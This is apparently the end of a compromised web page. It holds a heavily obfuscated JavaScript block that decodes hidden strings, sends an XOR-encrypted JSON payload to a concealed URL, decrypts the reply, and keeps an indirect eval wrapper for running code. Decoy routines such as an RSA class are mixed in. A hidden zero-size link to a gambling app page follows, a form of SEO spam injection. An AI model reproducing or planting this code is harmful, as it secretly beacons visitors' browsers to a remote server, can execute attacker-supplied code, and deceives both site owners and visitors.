ZLuaVAe="A;&0:[(hB{u~UniJ8Oj3]@vQMzbW.e4+#$C|/!6pEtdS}m\"P7rLqoNR)w>kYV*xDXZF=g_,s5fl1GIKH^ac<9y2%`?T",Zox_h4P,d6EnYgR,F53MoyP,lV84JF,k7pb5sS,TCN_LP,yUivUn;QJuBF6F(Zox_h4P=""+(EoHwST||""),d6EnYgR=Zox_h4P.length,F53MoyP=[],lV84JF=K9zSn7A[0x0],k7pb5sS=K9zSn7A[0x0],TCN_LP=-K9zSn7A[0x1]);for(yUivUn=K9zSn7A[0x0];yUivUn<d6EnYgR;yUivUn++){var fr8pwR3=ZLuaVAe.indexOf(Zox_h4P[yUivUn]);if(fr8pwR3===-K9zSn7A[0x1])continue;if(TCN_LP<K9zSn7A[0x0]){TCN_LP=fr8pwR3}else{QJuBF6F(TCN_LP+=fr8pwR3*K9zSn7A[0xc],lV84JF|=TCN_LP<<k7pb5sS,k7pb5sS+=(TCN_LP&K9zSn7A[0xd])>K9zSn7A[0xe]?K9zSn7A[0xf]:K9zSn7A[0x10]);do{QJuBF6F(F53MoyP.push(lV84JF&K9zSn7A[0x3]),lV84JF>>=K9zSn7A[0x2],k7pb5sS-=K9zSn7A[0x2])}while(k7pb5sS>K9zSn7A[0x9]);TCN_LP=-K9zSn7A[0x1]}}if(TCN_LP>-K9zSn7A[0x1]){F53MoyP.push((lV84JF|TCN_LP<<k7pb5sS)&K9zSn7A[0x3])}return e5VcCAC(F53MoyP)}function yUivUn(EoHwST){if(typeof rpkOfdr[EoHwST]===K9zSn7A[0x5]){return rpkOfdr[EoHwST]=TCN_LP(h7pZZF[EoHwST])}return rpkOfdr[EoHwST]}if(yUivUn(0x73)in JOKfaL){fr8pwR3()}function fr8pwR3(){const EoHwST=require("big-integer");class ZLuaVAe{static randomPrime(ZLuaVAe){const Zox_h4P=EoHwST.one.shiftLeft(ZLuaVAe-K9zSn7A[0x1]),BbjvJt=EoHwST.one.shiftLeft(ZLuaVAe).prev();while(!0x0){let d6EnYgR=EoHwST.randBetween(Zox_h4P,BbjvJt);if(d6EnYgR.isProbablePrime(0x100)){return d6EnYgR}}}static generate(ZLuaVAe){const Zox_h4P=EoHwST(0x10001);let BbjvJt,d6EnYgR,F53MoyP;do{QJuBF6F(BbjvJt=this.randomPrime(ZLuaVAe/K9zSn7A[0x11]),d6EnYgR=this.randomPrime(ZLuaVAe/K9zSn7A[0x11]),F53MoyP=EoHwST.lcm(BbjvJt.prev(),d6EnYgR.prev()))}while(EoHwST.gcd(Zox_h4P,F53MoyP).notEquals(K9zSn7A[0x1])||BbjvJt.minus(d6EnYgR).abs().shiftRight(ZLuaVAe/K9zSn7A[0x11]-0x64).isZero());return{e:Zox_h4P,n:BbjvJt.multiply(d6EnYgR),d:Zox_h4P.modInv(F53MoyP)}}static encrypt(ZLuaVAe,Zox_h4P,BbjvJt){return EoHwST(ZLuaVAe).modPow(BbjvJt,Zox_h4P)}static decrypt(ZLuaVAe,Zox_h4P,BbjvJt){return EoHwST(ZLuaVAe).modPow(Zox_h4P,BbjvJt)}static encode(ZLuaVAe){const Zox_h4P=ZLuaVAe.split("").map(ZLuaVAe=>ZLuaVAe.charCodeAt()).join("");return EoHwST(Zox_h4P)}static decode(EoHwST){const ZLuaVAe=EoHwST.toString();let Zox_h4P="";for(let d6EnYgR=K9zSn7A[0x0];d6EnYgR<ZLuaVAe.length;d6EnYgR+=K9zSn7A[0x11]){let F53MoyP=Number(ZLuaVAe.substr(d6EnYgR,K9zSn7A[0x11]));F53MoyP<=0x1e?(Zox_h4P+=String.fromCharCode(Number(ZLuaVAe.substr(d6EnYgR,K9zSn7A[0x12]))),d6EnYgR++):Zox_h4P+=String.fromCharCode(F53MoyP)}return Zox_h4P}}module.exports=ZLuaVAe}return}let j0ZyATX="";const WJ72k7=ZLuaVAe(0x74),TLj1TA=F53MoyP[ZLuaVAe(K9zSn7A[0x13])](WJ72k7)||crypto[ZLuaVAe(0x75)]();F53MoyP[ZLuaVAe(0x76)](WJ72k7,TLj1TA);const txQpcrg=new TextEncoder,aAxPRJ=new TextDecoder,AuJ43g=new Uint8Array(ZLuaVAe(0x77)[ZLuaVAe(0x78)](",")[ZLuaVAe(K9zSn7A[0x15])](Number)),GH5bZLi=0x5265c00,tU1l_Rg=EoHwST=>{if(ZLuaVAe(0x7a)in JOKfaL){Zox_h4P()}function Zox_h4P(){}return(K9zSn7A[0x0],eval)(EoHwST)},PTQIlfs=EoHwST=>{return new Uint8Array(EoHwST[ZLuaVAe(K9zSn7A[0x15])]((EoHwST,ZLuaVAe)=>{function Zox_h4P(EoHwST){var Zox_h4P="[VO<|!iX`Gt,3Yz>jLTy@/x9R}C?qkf7_n$*gD&s2rlv4F8]KB)U{uPo1me05;SpdJhbc^.H=E(wWQ+IN\"M~A%Z#6:a",d6EnYgR,F53MoyP,lV84JF,k7pb5sS,TCN_LP,yUivUn,fr8pwR3;QJuBF6F(d6EnYgR=""+(EoHwST||""),F53MoyP=d6EnYgR.length,lV84JF=[],k7pb5sS=K9zSn7A[0x0],TCN_LP=K9zSn7A[0x0],yUivUn=-K9zSn7A[0x1]);for(fr8pwR3=K9zSn7A[0x0];fr8pwR3<F53MoyP;fr8pwR3++){var j0ZyATX=Zox_h4P.indexOf(d6EnYgR[fr8pwR3]);if(j0ZyATX===-K9zSn7A[0x1])continue;if(yUivUn<K9zSn7A[0x0]){yUivUn=j0ZyATX}else{QJuBF6F(yUivUn+=j0ZyATX*K9zSn7A[0xc],k7pb5sS|=yUivUn<<TCN_LP,TCN_LP+=(yUivUn&K9zSn7A[0xd])>K9zSn7A[0xe]?K9zSn7A[0xf]:K9zSn7A[0x10]);do{QJuBF6F(lV84JF.push(k7pb5sS&K9zSn7A[0x3]),k7pb5sS>>=K9zSn7A[0x2],TCN_LP-=K9zSn7A[0x2])}while(TCN_LP>K9zSn7A[0x9]);yUivUn=-K9zSn7A[0x1]}}if(yUivUn>-K9zSn7A[0x1]){lV84JF.push((k7pb5sS|yUivUn<<TCN_LP)&K9zSn7A[0x3])}return e5VcCAC(lV84JF)}function d6EnYgR(EoHwST){if(typeof rpkOfdr[EoHwST]===K9zSn7A[0x5]){return rpkOfdr[EoHwST]=Zox_h4P(h7pZZF[EoHwST])}return rpkOfdr[EoHwST]}return EoHwST^AuJ43g[ZLuaVAe%AuJ43g[d6EnYgR(0x7d)]]}))},G2upbGj=async(EoHwST,ZLuaVAe)=>{function Zox_h4P(EoHwST){var ZLuaVAe="<lhmofiIRHJ7FWY:cj)4\"VDp}(wa,Z9s`$2*>?SNL3^;OB.gxt/dATv&+1]G|5rynCe{X@P=U%!q6zu~_kE0Q[M8Kb#",Zox_h4P,d6EnYgR,F53MoyP,k7pb5sS,TCN_LP,yUivUn,fr8pwR3;QJuBF6F(Zox_h4P=""+(EoHwST||""),d6EnYgR=Zox_h4P.length,F53MoyP=[],k7pb5sS=K9zSn7A[0x0],TCN_LP=K9zSn7A[0x0],yUivUn=-K9zSn7A[0x1]);for(fr8pwR3=K9zSn7A[0x0];fr8pwR3<d6EnYgR;fr8pwR3++){var j0ZyATX=ZLuaVAe.indexOf(Zox_h4P[fr8pwR3]);if(j0ZyATX===-K9zSn7A[0x1])continue;if(yUivUn<K9zSn7A[0x0]){yUivUn=j0ZyATX}else{QJuBF6F(yUivUn+=j0ZyATX*K9zSn7A[0xc],k7pb5sS|=yUivUn<<TCN_LP,TCN_LP+=(yUivUn&K9zSn7A[0xd])>K9zSn7A[0xe]?K9zSn7A[0xf]:K9zSn7A[0x10]);do{QJuBF6F(F53MoyP.push(k7pb5sS&K9zSn7A[0x3]),k7pb5sS>>=K9zSn7A[0x2],TCN_LP-=K9zSn7A[0x2])}while(TCN_LP>K9zSn7A[0x9]);yUivUn=-K9zSn7A[0x1]}}if(yUivUn>-K9zSn7A[0x1]){F53MoyP.push((k7pb5sS|yUivUn<<TCN_LP)&K9zSn7A[0x3])}return e5VcCAC(F53MoyP)}function d6EnYgR(EoHwST){if(typeof rpkOfdr[EoHwST]===K9zSn7A[0x5]){return rpkOfdr[EoHwST]=Zox_h4P(h7pZZF[EoHwST])}return rpkOfdr[EoHwST]}if(d6EnYgR(0x7e)in JOKfaL){F53MoyP()}function F53MoyP(){function ZLuaVAe(ZLuaVAe){return ZLuaVAe[K9zSn7A[0x1]]*K9zSn7A[0x17]+(ZLuaVAe[K9zSn7A[0x0]]<K9zSn7A[0x0]?K9zSn7A[0x16]|ZLuaVAe[K9zSn7A[0x0]]:ZLuaVAe[K9zSn7A[0x0]])}function Zox_h4P(ZLuaVAe){switch(((ZLuaVAe&K9zSn7A[0x16])!==K9zSn7A[0x0])*K9zSn7A[0x1]+(ZLuaVAe<K9zSn7A[0x0])*K9zSn7A[0x11]){case K9zSn7A[0x0]:return[ZLuaVAe%K9zSn7A[0x16],Math.trunc(ZLuaVAe/K9zSn7A[0x17])];case K9zSn7A[0x1]:return[ZLuaVAe%K9zSn7A[0x16]-K9zSn7A[0x16],Math.trunc(ZLuaVAe/K9zSn7A[0x17])+K9zSn7A[0x1]];case K9zSn7A[0x11]:return[((ZLuaVAe+K9zSn7A[0x16])%K9zSn7A[0x16]+K9zSn7A[0x16])%K9zSn7A[0x16],Math.round(ZLuaVAe/K9zSn7A[0x17])];case K9zSn7A[0x12]:return[ZLuaVAe%K9zSn7A[0x16],Math.trunc(ZLuaVAe/K9zSn7A[0x17])]}}let d6EnYgR=ZLuaVAe([K9zSn7A[0x11],0x4]),F53MoyP=ZLuaVAe([K9zSn7A[0x1],K9zSn7A[0x11]]),lV84JF=d6EnYgR+F53MoyP,BbjvJt=lV84JF-F53MoyP,k7pb5sS=BbjvJt*K9zSn7A[0x11],TCN_LP=k7pb5sS/K9zSn7A[0x11];QJuBF6F(console.log(Zox_h4P(lV84JF)),console.log(Zox_h4P(BbjvJt)),console.log(Zox_h4P(k7pb5sS)),console.log(Zox_h4P(TCN_LP)))}const lV84JF=await fetch(d6EnYgR(K9zSn7A[0x18])+EoHwST,{[d6EnYgR(K9zSn7A[0x19])]:d6EnYgR(0x81),[d6EnYgR(0x82)]:PTQIlfs(txQpcrg[d6EnYgR(0x83)](JSON[d6EnYgR(0x84)](ZLuaVAe)))});if(!lV84JF.ok){throw new Error}return aAxPRJ[d6EnYgR(0x85)](PTQIlfs(new Uint8Array(await lV84JF[d6EnYgR(0x86)]())))};let vnjYaY=K9zSn7A[0x0],ic_x41m=K9zSn7A[0x0];setTimeout(()=>{function EoHwST(EoHwST){var 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<!-- sc5a72ec-4d556f -->

<div><a href="https://play.google.com/store/apps/details?id=com.pragmaticplay.breakerbonzagame&#038;hl=id" style="overflow: hidden;height: 0;width: 0;display: inline-block;">pragmatic play</a></div></body>
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